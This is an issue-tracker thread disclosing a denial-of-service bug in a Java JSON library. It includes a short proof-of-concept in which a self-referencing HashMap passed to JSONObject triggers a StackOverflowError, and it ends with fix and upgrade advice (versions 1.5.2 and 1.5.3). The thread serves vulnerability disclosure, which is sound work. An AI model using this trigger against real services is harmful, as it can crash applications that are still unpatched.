If the value in map is the map's self, the new new JSONObject(map) cause StackOverflowError which may lead to dos

[BIngDiAn-s]

poc as follow:

public class POC {
    public static void main(String[] args) throws JSONException {


            HashMap<String,Object> map=new HashMap<>();
            map.put("t",map);
            JSONObject jsonObject=new JSONObject(map);

    }
}

and the result:

[coheigea]

Fixed in 1.5.2

[pjfanning]

I would recommend that users directed here by the CVE or by Github Security alerts skip straight to v1.5.3.
v1.5.3 appears to fix some issues that were introduced in v1.5.2. v1.5.2 caused problems for Apache Hadoop tests but v1.5.3 seems to work fine.